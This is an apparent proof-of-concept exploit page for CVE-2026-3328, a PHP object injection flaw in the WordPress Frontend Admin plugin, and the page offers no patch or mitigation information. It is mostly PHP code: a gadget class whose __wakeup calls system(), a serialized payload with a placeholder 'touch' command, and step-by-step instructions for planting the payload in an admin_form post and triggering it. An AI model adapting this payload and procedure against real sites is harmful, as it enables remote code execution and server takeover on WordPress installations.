CVE-2026-3328 WordPress Frontend Admin远程代码执行漏洞

<?php /** * PoC for CVE-2026-3328 * Vulnerability: PHP Object Injection in Frontend Admin Plugin * Requirements: Editor+ privileges */ // Hypothetical POP Chain class (e.g., from a common WP theme/plugin) class Vulnerable_Pop_Chain { public $cmd; public function __wakeup() { if (isset($this->cmd)) { system($this->cmd); // Arbitrary code execution } } } // Generate Payload $object = new Vulnerable_Pop_Chain(); $object->cmd = 'touch /tmp/poc.txt'; // Command to execute $payload = serialize($object); // Output the serialized payload to be injected into 'post_content' echo "Payload to inject into admin_form post_content:\n"; echo $payload; /* Exploitation Steps: 1. Log in as an Editor or Admin. 2. Edit an existing 'admin_form' post or create a new one. 3. Insert the generated $payload into the post_content field. 4. Save/Update the post. 5. Trigger the deserialization by visiting the page where the form content is processed. */ ?>